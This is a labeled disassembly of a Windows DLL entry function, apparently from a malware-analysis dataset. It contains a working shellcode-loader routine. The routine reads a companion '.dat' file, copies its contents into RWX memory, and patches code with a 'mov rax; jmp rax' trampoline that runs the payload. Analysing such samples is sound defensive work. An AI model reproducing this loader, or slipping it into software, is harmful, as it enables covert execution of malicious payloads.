Function at 0x180001010
Capabilities:
Allocate or change rwx memory
Get file size
Read file on windows

Disassembly:
mov r11, rsp
sub rsp, 0x88
cmp edx, 1
jne 0x180001265
mov qword [r11 + 8], rbx
xor eax, eax
mov qword [r11 + 0x18], rbp
mov qword [r11 - 8], rsi
mov qword [r11 - 0x10], rdi
mov qword [r11 - 0x46], rax
mov qword [r11 - 0x18], r14
mov word [rsp + 0x4a], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x1000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 7
xor ecx, ecx
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x180001074
cdqe
mov word [rax + rbx - 3], 0x6164
mov byte [rax + rbx - 1], 0x74
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor ecx, ecx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, 0x18
lea r8, [rsp + 0x50]
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
xor r14d, r14d
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov rcx, rbx
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800010ee
mov edi, r14d
jmp 0x180001113
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov rcx, rsi
test eax, eax
jne 0x18000110d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, r14d
jmp 0x180001113
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, rbx
mov dword [rsp + 0x20], 3
mov rdi, rax
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001193
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rbx
test eax, eax
je 0x18000118d
lea r9, [rsp + 0x98]
mov qword [rsp + 0x20], r14
mov r8d, eax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8, rsi
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, rsi
mov qword [rsp + 0x20], r14
mov rdx, rax
mov r8, rdi
mov rcx, rbp
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsp + 0x60]
lea r8, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x42], bl
shr rcx, 8
mov rax, rbx
mov byte [rsp + 0x43], cl
mov r9d, 0xc
shr rax, 0x18
mov rcx, rbx
mov byte [rsp + 0x45], al
mov rax, rbx
shr rcx, 0x10
mov byte [rsp + 0x44], cl
mov rcx, rbx
shr rax, 0x20
mov byte [rsp + 0x46], al
mov rax, rbx
shr rcx, 0x30
mov byte [rsp + 0x48], cl
mov rcx, rbp
shr rax, 0x28
shr rbx, 0x38
mov word [rsp + 0x40], 0xb848
mov byte [rsp + 0x47], al
mov byte [rsp + 0x49], bl
mov word [rsp + 0x4a], 0xe0ff
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0x90]
mov eax, 1
add rsp, 0x88
ret